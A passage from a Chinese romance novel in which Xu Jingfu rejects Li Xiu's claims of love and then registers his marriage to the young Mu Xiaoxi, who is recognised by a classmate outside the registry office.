然而,李秀却是哪壶不开提哪壶。 “徐哥,这件事真的……确定了吗?”她抱着最后一线希望问道。昨天他带她去买戒指,徐敬孚还让她试戴了戒指,她当时非常欣喜,以为他们的关系有了转机,却没料到确定款式后徐敬孚跟导购说,让拿再小一号的戒指出来。 顿时仿若五雷轰顶,整个人被一盆冷水泼了个透心凉。 徐敬孚抽着烟,沉默地看着她,脸上什么多余的神情也没有。 她一时眼泪有些忍不住:“我,我……可能徐哥你不相信……但是我……我……” “我不信。”徐敬孚开口道。 “我对你是真心……” “我不信。” 李秀难过地闭上眼,两行眼泪掉下来。 “哪怕明天和我去民政局的那个人是你,在这一点上也不会有任何改变,我跟你说过,从一开始就说过,我希望我们只是简单的关系,如果你非要让这个事变得复杂,那从此以后我们不会有第二次见面的机会。”徐敬孚又抽了一口烟,微微张开嘴,烟从嘴角边慢慢地溢出来,“李秀,你很清楚,我是念了旧情的,如果不是这样,在你给徐董做传话筒的时候我就应该把你扫地出门。” 李秀擦了擦眼泪:“我那样做是有原因的,因为… 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李秀看到他嘴角的嘲讽,笑了起来:“我有错吗?徐总,你也是赚钱的人,你每天为什么要拼死拼活赚钱?和我不一样吗?” 爱一个人就不能爱他的钱吗?喜欢一个人的内在就不能喜欢一个人的外在吗? 好生活就一定不能是金钱富足的生活吗? 有资本有能力有容貌有资源,难道就不能去争取跨越阶层的机会吗? “我爱你,我也爱钱,不可以吗?”她问。 徐敬孚看着手中烟头上的火星,出神地想了一会儿,说:“可以。” 李秀眼睛微微睁大。 “可以。”徐敬孚点了下头,“你说得,没有问题。” 李秀忍不住往前走了一步。 “但是李秀。”徐敬孚说,“我信不了。” 好不容易忍下去的眼泪,霎时间簌簌而下。 徐敬孚将烟按灭了,说:“我信不了你嘴里的爱。”不知道想到了什么,他低笑了一声,摇了摇头。 他冲还在哭的李秀挥了下手:“早点回去。” “那她说你就信吗?”李秀问。 徐敬孚收拾桌面的动作停了一下。 “如果她说,她爱你,你信吗?”李秀固执地问。 “……”徐敬孚头也不抬,继续收拾,“我和她,不是你想的那样。” “所以你信还是不信?” 徐敬孚抬起头,看着李秀狼狈不堪的固执的脸,脸上明明白白地写着“不到黄河不死心”几个字。她的毅力很顽强,不然也不能在昨天陪他买了戒指之后,还来问他这样的问题。 人总是这样。 “如果是她说,我信不信,对吧?”徐敬孚回答她,“首先,她不需要爱我。” 李秀的瞳孔猛地缩紧。 徐敬孚说:“她什么都不用做。” 第二天一早,徐敬孚便带着木晓晞出了门,去了摄像馆。做了造型,拍了照。 下午三点的时候,两人已经到了民政局门口等着了。 徐休打来电话,说于珍今天头晕得厉害,不舒服,来不了了,让他们自行解决。 木晓晞问:“叔叔,那,那还……”还领吗? 徐敬孚搂着她进去:“走吧。” 进去两个人,出来一双人。 “你想好了吗?”工作人员特意问了木晓晞一句。大约是看她年纪太小了。 木晓晞看了眼徐敬孚,有点犹豫,但是还是点了头。 工作人员还是迟迟没盖章,盖下去就不能反悔了。 木晓晞于是又说了一次:“我想好了,我想……我想和他结婚。” 假也假,真也真。 李秀还是不服气。问徐敬孚,如果木晓晞最后跟她一样,也是图他的钱呢? 徐敬孚说,除了钱,我也没什么能给她的。 “二位的证办好了。” “木晓晞?”一个熟悉的声音从不远处传来。 木晓晞的心几乎要停止跳动。 张欣走过来,小心翼翼地:“晓晞?是……你吗?” 木晓晞手里的结婚证一下子掉了。 徐敬孚帮她捡起来:“你同学?”